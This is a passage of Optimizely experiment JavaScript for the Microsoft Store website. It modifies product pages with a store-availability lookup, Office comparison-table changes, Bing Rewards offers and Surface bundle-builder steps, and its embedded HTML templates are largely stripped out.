    ', \n\t\t\t\t\t\t''].join('\\n');\n\t\n\t\treturn htmlTemplate;\n\t};\n \n\tvar UITabletFormatter = function(data){\n\t\tvar address = (data['Address'] ? data['Address'] : ''),\n\t\t\taddress2 = (data['Address2'] ? data['Address2'] : ''),\n\t\t\taddress3 = (data['Address3'] ? data['Address3'] : ''),\n\t\t\tcity = (data['City'] ? data['City'] : ''),\n\t\t\tstate = (data['State'] ? data['State'] : ''),\n\t\t\tzipcode = (data['Zipcode'] ? data['Zipcode'] : ''),\n\t\t\tmaplink = (data['MapLink'] ? data['MapLink'] : ''),\n\t\t\tstorephone = (data['StorePhone'] ? data['StorePhone'] : ''),\n\t\t\tstorenumber = (data['StoreNumber'] ? data['StoreNumber'] : '');\n \n\t\tvar storeHoursObject = (data['DailySchedules'] ? data['DailySchedules'] : ''),\n\t\t\tformattedStoreHours = returnStoreHours(storeHoursObject);\n\t\t\t\n\t\tvar storestockstatus = returnStockStatus(storenumber);\n \n\t\thtmlTemplate = ['
    ',\n '
    ',\n '' + (storestockstatus ? storestockstatus : 'Not in Stock') + '', \n '
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
      ',\n\t\t\t\t\t\t\t\t\t'
    • ' + address + '
    • ',\n\t\t\t\t\t\t\t\t\t'
    • ' + address2 + '
    • ',\n\t\t\t\t\t\t\t\t\t'
    • ' + address3 + '
    • ',\n '
    • '+ city + ', ' + state + ' ' + zipcode + '
    • ', \n\t\t\t\t\t\t\t\t'
    ',\n '', \n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'Store hours',\n\t\t\t\t\t\t\t\t'
      ',\n\t\t\t\t\t\t\t\t\tformattedStoreHours,\n\t\t\t\t\t\t\t\t'
    ',\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t'' + storephone + '',\n\t\t\t\t\t\t\t'
    ',\n '
    ', \n\t\t\t\t\t\t'
    '].join('\\n');\n\t\n\t\treturn htmlTemplate;\n\t}; \n\n\tvar HTMLCollection = '';\t\n \n if(window.innerWidth > 768){\n //Loop through stores ordered by distance\n for(y=0;y',\n '

    Whoops, seems we\\'ve run into an error.

    ',\n '
    Please check the information you provided.
    ',\n ''].join('\\n');\n \n //$('.exp-storedataresults').html(errorMsg);\n \n //Hide loading message\n $('.exp-storeloadingmessage').addClass('hide');\n\t\t});\n\n\n\t};\n\t\n\treturn{\n\t\tgetdata: function(input){\n\t\t\tgetData(input)\n\t\t}\n\t};\n};\n\n/* Desktop Events */\nfunction bindAfterOpen(){\n $('div.rwd').addClass('exp-modal-open');\n \n //Bind events to search box\n\tjQuery('.exp-search-value').on('keypress',function (e) {\n\t\t\tif (e.which == 13) {\n\t\t\t\te.preventDefault();\n\t\t\t\tvalidateZipCodeAndSearch();\n\t\t\t}\n\t\t});\t\n \n jQuery('.exp-search-button').on('click.search', function(){\n validateZipCodeAndSearch();\n }); \n \n //Default text\n jQuery('.exp-search-value').defaultText();\n \n $('.mfp-wrap').css('overflow-y','scroll');\n \n};\n\nfunction bindAfterClose(){\n $('div.rwd').removeClass('exp-modal-open');\n};\n\n/* Tablet & Mobile Events */\nfunction bindOnload(){\n //Remove class to html tag\n $('html').addClass('exp-tablet-view'); \n \n //Scroll to top of window\n jQuery('html, body').animate({scrollTop:0}, 'slow')\n \n //Bind events to search box\n\tjQuery('.exp-search-value').on('keypress',function (e) {\n\t\t\tif (e.which == 13) {\n\t\t\t\te.preventDefault();\n\t\t\t\tvalidateZipCodeAndSearch();\n\t\t\t}\n });\t\n \n jQuery('.exp-search-button').on('click.search', function(){\n validateZipCodeAndSearch();\n }); \n \n //Default text\n jQuery('.exp-search-value').defaultText();\n \n \n //Continue Shopping\n jQuery('.exp-continueshopping').on('click.removeresults', function(){\n unbindEvents();\n }); \n \n $('.mfp-content').css('z-index', 600);\n \n};\n\nfunction unbindEvents(){\n //Remove class to body\n $('#body').removeClass('exp-hide-pdp');\n \n //Remove injected HTML\n $('.exp-inventorymodal').remove();\n \n //Remove class to html tag\n $('html').removeClass('exp-tablet-view'); \n};\n\n\n/************************************ OnLoad Events ******************************************/\n\n/* Resize event for <= tablet & desktop */\nvar startingSize = window.innerWidth;\n\njQuery(window).on('resize.exp-awareness', function() {\n if(startingSize > 768 && window.innerWidth <= 768){\n if($('.exp-storeinfo').is(':visible')){\n //Close popup\n jQuery.magnificPopup.close();\n };\n };\n \n if(startingSize <= 768 && window.innerWidth > 768){\n\tunbindEvents();\n };\n})\n\nfunction addLaunchLinksToDom(){\n\t/* Add Popup Link to DOM */\n\tif($('.pdp-cta.add-to-cart .btnSubmitSpinContainer').length){\n\t $('.pdp-cta.add-to-cart .btnSubmitSpinContainer:last').after('
    Check availability at your local Microsoft Store
    ');\n\t}\n\telse{\n\t $('.pdp-cta.add-to-cart .buySpan_AddtoCart:last').next('.ms_BuyButtonPromoText').after('
    Check availability at your local Microsoft Store
    '); \n\t}; \n\n};\n\nsetTimeout(function(){\n\t//If Product is OOS, add link to DOM\n if($('.buySpan_AddtoCart .buyBtn_outOfStock').length){\n addLaunchLinksToDom();\n };\n}, 500);\n\n\n//Polling to kill link if product is OOS\n$(function(){\n \n var initialLength = $('.buySpan_AddtoCart .buyBtn_outOfStock').length, counter = 0;\n var selfCaller = function () {\n if ( $('.buySpan_AddtoCart .buyBtn_outOfStock').length > initialLength || counter > 10) {\n if($('.exp-checkavailability').length < 1){\n addLaunchLinksToDom();\n };\n }\n else{\n counter += 1;\n setTimeout(selfCaller, 1000);\n }\n };\n \n selfCaller();\n \n}());\n\njQuery('.exp-findlocalstore').on('click.storelookup', function(){\n var DesktopHTMLCollection = ['
    ',\n '
    ',\n '

    Find it at Microsoft Store

    Availability subject to change

    ',\n '
    ',\n '',\n '',\n '
    Please enter a valid city and state or ZIP code.
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '\"Loading...\"',\n '

    Finding closest stores to your area.

    ',\n '
    ', \n '
    ',\n '
    '].join('\\n');\n \n var TabletHTMLCollection = ['
    ',\n '',\n '
    ',\n '

    Find it at Microsoft Store

    Availability subject to change

    ',\n '
    ',\n '',\n '',\n '
    Please enter a valid city and state or ZIP code.
    ',\n '
    ',\n '
    ',\n '
    ',\n '
    ',\n '\"Loading...\"',\n '

    Finding closest stores to your area.

    ',\n '
    ', \n '
    ',\n '
    '].join('\\n');\n\n \n if(window.innerWidth > 768){ \n\t\tjQuery.magnificPopup.open({\n\t\t\ttype: 'inline',\n\t\t\tmodal: true,\n\t\t\titems: [{\n\t\t\t\ttype: 'inline',\n\t\t\t\tsrc: DesktopHTMLCollection\n\t\t\t}],\n callbacks: {\n\t\t\t\topen: function () {\n\t\t\t\t\tbindAfterOpen();\n\t\t\t\t},\n close: function(){\n bindAfterClose();\n }\n },\n\t\t\tremovalDelay: 300,\n\t\t\tmainClass: 'mfp-enable-zoom exp-storeinfo'\n\n\t\t}); \n }\n else{\n $('#body').addClass('exp-hide-pdp').append('
    ' + TabletHTMLCollection + '
    ');\n bindOnload();\n };\n \n});\n\nfunction validateZipCodeAndSearch(){\n if(\n $.trim($('.exp-search-value').prop('value')) != '' &&\n $.trim($('.exp-search-value').prop('value').toLowerCase()) != 'enter city and state, or zip code'\n ){\n \n //Show loading message\n $('.exp-storeloadingmessage').removeClass('hide');\n \n //Hide previous results\n $('.exp-storedataresults').html('');\n \n //Hide error message\n jQuery('.exp-search-error').removeClass('show');\n\n \n locationData().getdata({ \n zipcode: $.trim($('.exp-search-value').prop('value')), \n maxradius: '100', \n query: '_connNearByZip', \n callback: nearbyResults \n }); \n }\n else{\n //Show error message\n jQuery('.exp-search-error').addClass('show'); \n }; \n};\n\nfunction validZipCode(value){\n //Trim leading / trailing space\n value = $.trim(value);\n if (value.match(/^[0-9]{5}$/) || value.match(/^[A-z][0-9][A-z][0-9][A-z][0-9]$/) || value.match(/^[A-z][0-9][A-z]\\s[0-9][A-z][0-9]$/)) {\n return true;\n }\n return false;\t \n};"},"2410700725":{"code":"//Content changes\n$('.exp-comparetable .table-head:eq(0)').html('

    For up to 5 PCs or
    Macs and 5 tablets

    Subscription
    ');\n\n$('.exp-comparetable .table-head:eq(1)').html('

    For 1 PC or 1 Mac

    One-time purchase');\n\n$('.exp-comparetable tr.installation').insertBefore('.exp-comparetable tr.apps-included');\n$(\"tbody > tr:eq(7) > td:eq(0) > div:eq(0)\").html(\"Microsoft support
    Get help by phone or chat at no extra charge\");\n\n/* Remove Price */\n$('.exp-comparetable .exp-price').remove();\n\n/* Update table to include version toggle */\n$('.office-compare .exp-comparetable .exp-buybox td:eq(0) .exp-product').after(['
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t' ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    '].join('\\n'));\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(1) .exp-product').after(['
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t' ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'
    '].join('\\n'));\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(2) .exp-product').after(['
    $139.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(3) .exp-product').after(['
    $219.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(4) .exp-product').after(['
    $139.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(5) .exp-product').after(['
    $219.99
    '].join('\\n'));\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n/* Update buy links for product variations */\n$('.office-compare .exp-comparetable .exp-buybox td:eq(0) a:last').prop('href', '/store/msusa/en_US/buy/productID.288186100/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_Home_V1');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(1) a:last').prop('href', '/store/msusa/en_US/buy/productID.297833300/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_Personal_V1');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(2) a:last').prop('href', '/store/msusa/en_US/buy/productID.259281600/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_HS_V1');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(3) a:last').prop('href', '/store/msusa/en_US/buy/productID.259325400/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_HB_V1');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(4) a:last').prop('href', '/store/msusa/en_US/buy/productID.253846200/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_MacHS_V1');\n\n$('.office-compare .exp-comparetable .exp-buybox td:eq(5) a:last').prop('href', '/store/msusa/en_US/buy/productID.253845700/ThemeID.33363200/Currency.USD/mktp.US?icid=Compare_MacHB_V1');\n\n\njQuery('body').on('change.changevariation', '.exp-version-selector input', function(){\n\tvar _parent = $(this).closest('td');\n\t\n\tjQuery('a:last', _parent).prop('href', 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.' + jQuery(this).prop('value') + '/ThemeID.33363200/Currency.USD/mktp.US/');\n});\n\n/* Add ICID tracking to links */\n$(\".exp-buybox > td:eq(0) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.286395000?icid=Compare_Home_V1\"});\n$(\".exp-buybox > td:eq(1) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.297833200?icid=Compare_Personal_V1\"});\n$(\".exp-buybox > td:eq(2) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259179500?icid=Compare_HS_V1\"});\n$(\".exp-buybox > td:eq(3) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259321600?icid=Compare_HB_V1\"});\n$(\".exp-buybox > td:eq(4) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Student-2011/productID.253736200?icid=Compare_MacHS_V1\"});\n$(\".exp-buybox > td:eq(5) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Business-2011/productID.253736100?icid=Compare_MacHB_V1\"});"},"2459460340":{},"2213100987":{"code":"var sku = \"CWF-01825\";\n$('body').append('');\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0}
    {1}
    Not a member? Sign-up is free at checkout.

    \\n
    \";\n html = html.replace(\"{0}\", \"Earn 1000 Bing Rewards credits\");\n html = html.replace(\"{1}\", \"For a limited time, Bing Rewards members earn credits when purchasing this product. Credits can be redeemed for gift cards, services, and sweepstakes entries.\");\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n jQuery(\".buySpan_AddtoCart\").append(html);\n jQuery(\".product-tab-content\").append(\"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n }\n\n getRewardsUserInfo(loadCreditsOffer);"},"2593620924":{"code":"$('body').addClass('exp-bundlebuilder');\n\n//Move bundle viewing bar\n$('#cartSection .review-selected-products').insertAfter('#cartSection .product-corral');\n\n//Wrap expandable area so we can give it a bg\n$('#cartSection .product-corral').wrap('
    ')\n\nfunction updateProductArea(){\n //Add arrows next to boxes\n $('#cartSection .product-corral .product-slot').after('');\n \n //Add index count to items - Duplicate but needs to be here.\n var itemCount = 1;\n jQuery('#cartSection .product-slot').each(function(){\n jQuery(this).data('index', itemCount);\n itemCount++;\n }); \n\n //Add arrow sizes\n setTimeout(function(){\n \tjQuery('.exp-next-arrow').css('height', jQuery('#cartSection .product-corral .product-slot:eq(0)').height() + 'px');\n \n //Add index count to items\n var itemCount = 1;\n jQuery('#cartSection .product-slot').each(function(){\n jQuery(this).data('index', itemCount);\n itemCount++;\n }); \n }, 500);\n \n //If no items already in bundle\n if(!$('#cartSection .product-slot.occupied').length){\n \t$('#cartSection .product-corral .product-slot:eq(0)').addClass('choose-option');\n }\n\n /* Add titles per item */\n $('#cartSection .product-corral .product-slot:eq(0)').append(['
    Step 1
    Choose your Surface Pro 3
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(1)').append(['
    Step 2
    Choose your Type Cover
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(2)').append(['
    Step 3
    Choose your sleeve
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(3)').append(['
    Step 4
    Choose Office
    '].join('\\n'));\n \n $('#cartSection .product-corral .product-slot:eq(4)').append(['
    Step 5
    Add Microsoft Complete
    '].join('\\n'));\n \n //Highlight any slots where prev item was removed\n $('#cartSection .product-slot.occupied').prevAll('.product-slot:not(.occupied)').addClass('choose-option');\n \n \n //Scroll to section\n if($('#cartSection .product-slot.occupied').length){\n setTimeout(function(){ \n //jQuery('#cartSection .product-slot.occupied:last').data('index')\n \n var sectionindex = jQuery('#cartSection .product-slot').parent().children('.product-slot:not(.occupied):first').index('.product-slot'),\n sectionoffset = jQuery('#form section:eq(' + sectionindex + ')').position().top;\n\n if(sectionoffset){\n \tjQuery('html, body').animate({scrollTop:(sectionoffset - 220)}, 'slow');\n };\n }, 150);\n };\n\t\n};\n\n jQuery( window ).resize(function() {\n $('.exp-next-arrow').css('height', jQuery('#cartSection .product-corral .product-slot:eq(0)').height() + 'px');\n });\n\n\nupdateProductArea();\n\njQuery( document ).ajaxComplete(function() {\n if(!jQuery('.exp-next-arrow').length){\n\t\tupdateProductArea();\n }\n});\n\n\n$('.product[pid-ref=\"259761300\"] h2').after('
    • For 5 PCs or Macs plus 5 tablets, including iPad, Android, or Windows1
    • 1TB online storage per user for up to 5 users3,5
    • 60 minutes monthly Skype calls per user4
    • Ongoing access to updates
    ');\n\n\n$('.product[pid-ref=\"297832600\"] h2').after('
    • For 1 PC or Mac plus 1 tablet, including iPad, Android, or Windows1
    • 1TB online storage for 1 user3
    • 60 minutes monthly Skype calls for 1 user4
    • Ongoing access to updates
    ');"},"2146430397":{},"2592310206":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2014600129":{},"2354750915":{"code":"$(function(){\n if($('a[pid-ref=259179500] .badge').length > 0){\n $('a[pid-ref=259179500] .badge').text('1 PC');\n }\n else{\n $('a[pid-ref=259179500] .image-container > div').before('1 PC');\n }\n});"},"2599530436":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2213511110":{"code":"$(\".buySpan_AddtoCart\").append(\"
    \\n \\n

    Get Free expedited shipping when you sign up for Bing Rewards.
    Sign-up is free during checkout.

    \\n
    \");\n$(\"section.ratings\").prepend(\"
    \\n

    Rewards

    \\n\\n\\n\\n

    Free to join. Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn credits when you search on Bing and through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n\\n

    You also get:

    \\n
      \\n
    • \\n

      \\n \\\"lorem

      \\n

      Free 2-day shipping: Get free expedited shipping on all orders over $75 until November 23, 2014.

      \\n
    • \\n
    • \\n

      \\n \\\"lorem

      \\n

      Exclusive deals: Get exclusive offers and product announcements delivered right to your inbox (coming soon).

      \\n
    • \\n \\n
    \\n\\n

    How do I sign up?

    \\n

    At checkout you can sign up for Bing Rewards before you complete your purchase.

    \\n

    \");\n$(\".hero-box\").append(\"
    ...
    \");\n$(\"#optimizely_168095494\").replaceWith(\"
    \");"},"2222910689":{"code":"var sku = \"CWF-01825\";\n$('body').append('');\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\nvar html = \"
    \\n \\n

    {0} {1}
    Not a member? Sign-up during checkout

    \";\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n jQuery(\".buySpan_AddtoCart\").append(html);\n jQuery(\".product-tab-content\").append(\"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n }\n\n getRewardsUserInfo(loadCreditsOffer);"},"2580070862":{},"2569390032":{},"2444650449":{"code":"$(function(){\n $('body').addClass('exp-vc-inv-msg-hide-surface');\n});\njQuery(document).ajaxComplete(function(){\n if(typeof(Pusher) !== 'undefined'){\n $('body').removeClass('exp-vc-inv-msg-hide-surface').addClass('exp-vc-inv-msg-visible-surface');\n if($('#videodesk-title-bar').length && !$('.exp-vc-inv-msg-surface').length){\n $('#videodesk-title-bar').text(' Surface questions? Video chat with us. ');\n $('#videodesk-title-bar').addClass('exp-vc-inv-msg-surface');\n\t\t} \n\t} \n});"},"2330340818":{"code":"$('body').addClass('experiment-surfacepdp');\n\n//Config Vars\nvar variationIndex = 0,\n\t\tvideoIndexToPromote = null,\n videoSources = '',\n videoThumbnailURL = '',\n videoPosterURL = '';\n\n\n\n//Page specific JS\n\n//Object for new video\nvar heroVideo = ['
  • ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'\"Click',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
  • '].join('\\n');\n\n//Prepend video to each variation\nvar videoIndexArray = [4],\n\tcurVideoIndex = '';\n\t\njQuery(videoIndexArray).each(function(){\n curVideoIndex = this;\n \n //Update video in modal\n jQuery('.elp-gallery-source').each(function(){\n jQuery('.product-hero li:eq(' + curVideoIndex + ')', this).insertAfter($('.product-hero li:eq(0)', this)); \n jQuery('.product-thumbnails li:eq(' + curVideoIndex + ')', this).insertAfter($('.product-thumbnails li:eq(0)', this)); \n\n jQuery('.product-hero li', this).css('display', 'none');\n jQuery('.product-hero li:eq(0)', this).css('display','list-item');\n\n jQuery('.product-thumbnails li', this).removeClass('selected');\n jQuery('.product-thumbnails li:eq(0)', this).addClass('selected');\n\n }); \n \n jQuery('.product-thumbnails', '.media-container').each(function(){\n jQuery('li:eq(' + curVideoIndex + ')', this).insertAfter($('li:eq(0)', this)); \n\n jQuery('li', this).removeClass('selected');\n jQuery('li:eq(0)', this).addClass('selected');\t\n \n });\n \n jQuery('.product-hero', '.media-container').each(function(){\n jQuery('li:eq(' + curVideoIndex + ')', this).insertAfter($('li:eq(0)', this)); \n\n jQuery('li', this).removeClass('selected');\n jQuery('li:eq(0)', this).addClass('selected');\t\n \n }); \n}); \n\n\n\n//Hero short description\n$('.hero-box .short-desc > p:eq(0)').html('Move to the head of the class with Surface Pro 3. It\\'s the only school supply you\\'ll need.');\n\n\n//Sticky Nav\nvar tabSlider = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
